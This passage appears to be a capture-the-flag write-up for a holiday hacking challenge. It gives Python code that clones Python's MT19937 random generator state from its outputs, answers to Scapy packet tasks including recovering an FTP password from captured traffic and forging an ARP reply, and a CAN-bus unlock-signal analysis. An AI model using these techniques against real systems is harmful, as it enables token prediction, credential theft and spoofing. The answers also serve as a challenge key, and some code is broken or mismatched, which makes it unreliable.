s, b = 7, 0x9D2C5680
t, c = 15, 0xEFC60000
l = 18
n = 624

    def my_int32(self, x):
        return(x & 0xFFFFFFFF)

    def __init__(self, seed):
        w = 32
        r = 31
        f = 1812433253
        self.m = 397
        self.a = 0x9908B0DF
        self.MT = [0] * self.n
        self.index = self.n + 1
        self.lower_mask = (1 << r) - 1
        self.upper_mask = self.my_int32(~self.lower_mask)
        self.MT[0] = self.my_int32(seed)
        for i in range(1, self.n):
            self.MT[i] = self.my_int32((f * (self.MT[i - 1] ^ (self.MT[i - 1] >> (w - 2))) + i))

    def extract_number(self):
        if self.index >= self.n:
            self.twist()
            self.index = 0
        y = self.MT[self.index]
        # this implements the so-called "tempering matrix"
        # this, functionally, should alter the output to
        # provide a better, higher-dimensional distribution
        # of the most significant bits in the numbers extracted
        y = y ^ ((y >> self.u) & self.d)
        y = y ^ ((y << self.s) & self.b)
        y = y ^ ((y << self.t) & self.c)
        y = y ^ (y >> self.l)
        self.index += 1
        return self.my_int32(y)

    def twist(self):
        for i in range(0, self.n):
            x = (self.MT[i] & self.upper_mask) + (self.MT[(i + 1) % self.n] & self.lower_mask)
            xA = x >> 1
            if(x % 2) != 0:
                xA = xA ^ self.a
            self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA

def untemper(y):
y ^= y >> mt19937.l
y ^= y << mt19937.t & mt19937.c
for i in range(7):
y ^= y << mt19937.s & mt19937.b
for i in range(3):
y ^= y >> mt19937.u & mt19937.d
return y


if __name__ == "__main__":
# create our own version of an MT19937 PRNG.
myprng = mt19937(0)
# clone that sucker...
print("Generating %i random numbers.\nWe'll use those values to create a clone of the current state of Python's built-in PRNG..." % (mt19937.n))
for i in range(mt19937.n):
myprng.MT[i] = untemper(foundrands[i])
print(myprng.extract_number())
print(myprng.MT[0])

Video description at https://player.vimeo.com/video/499011316

## Netwars ### Scapy Prepper #### Task 0
yes
#### Task 1 >Welcome to the "Present Packet Prepper" interface! The North Pole could use your help prep aring present packets for shipment. Start by running the task.submit() function passing in a string argument of 'start'. Type task.help() for help on this question.
task.submit("start")
#### Task 2 >Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.
task.submit(send)
#### Task 3 >Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.
task.submit(sniff)
#### Task 4 >Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named "pkt": >1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20)) >2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20)) >3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))
task.submit(1)
#### Task 5 >Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.
task.submit(rdpcap)
#### Task 6 >The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS: >1. UDP_PACKETS.print() >2. UDP_PACKETS.show() >3. UDP_PACKETS.list()
task.submit(2)
#### Task 7 >Submit only the first packet found in UDP_PACKETS.
task.submit(UDP_PACKETS[0])
#### Task 8 >Submit only the entire TCP layer of the second packet in TCP_PACKETS.
pkt = TCP_PACKETS[1]
task.submit(pkt[TCP])
#### Task 9 >Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet
pkt = UDP_PACKETS[0]
pkt[IP].dst = "127.0.0.1"
task.submit(pkt)
#### Task 10 >Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS.
>>> TCP_PACKETS[3][Raw].load
b'220 North Pole FTP Server\r\n'
>>> TCP_PACKETS[4][Raw].load
b'USER alabaster\r'
>>> TCP_PACKETS[5][Raw].load
b'331 Password required for alabaster.\r'
>>> TCP_PACKETS[6][Raw].load
b'PASS echo\r\n'
>>> TCP_PACKETS[7][Raw].load
b'230 User alabaster logged in.\r'

([pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt] would be easier)

task.submit("echo")
#### Task 11 >The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.
task.submit(ICMP_PACKETS[1][ICMP].chksum)
#### Task 12 >Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named "pkt" >1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request") >2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply") >3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")
task.submit(3)
#### Task 13 >Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)
pkt = Ether()/IP(dst='127.127.127.127')/UDP(dport=5000)
task.submit(pkt)
#### Task 14 >Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified)
pkt = IP(dst='127.2.3.4')/UDP(dport=53)/DNS(qd=DNSQR(qname='elveslove.santa'))
task.submit(pkt)
#### Task 15 >The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.
>>> ARP_PACKETS[Ether][0]
<Ether  dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 pdst=192.168.0.1 |>>

Get the hwsrc from the Ether part of 1,
set op=2 for "is-at"
set hwdst to mac of asking ip

so this becomes to:
192.168.0.1 is at 00:13:46:0b:22:ba

>>> ARP_PACKETS[Ether][1]
<Ether  dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |<Padding  load='\xc0\xa8\x00r' |>>>

ARP_PACKETS[1].op=2
ARP_PACKETS[1].hwdst='00:16:ce:6e:8b:24'
ARP_PACKETS[1].hwsrc='00:13:46:0b:22:ba'
task.submit(ARP_PACKETS)
### CAN-Bus Investigation Um das Unlock-Signal zu finden schaue dir `candump.log` an. Es gibt 3 verschiedene ID Codes. Ein Code ist 3 mal vorhanden genau wie in der Bechreibung erwähnt (Lock-Unlock-Lock).
cut -b 27-29 candump.log | sort | uniq -c
     35 188
      3 19B
   1331 244
Analysiere die Werte dieses ID Codes um den Timestamp zu finden:
grep -E '^.*vcan0\s(19B).*$' candump.log 
(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000

./runanswer -> 122520

Videobeschreibung unter https://player.vimeo.com/video/498981563

Lösung: **122520**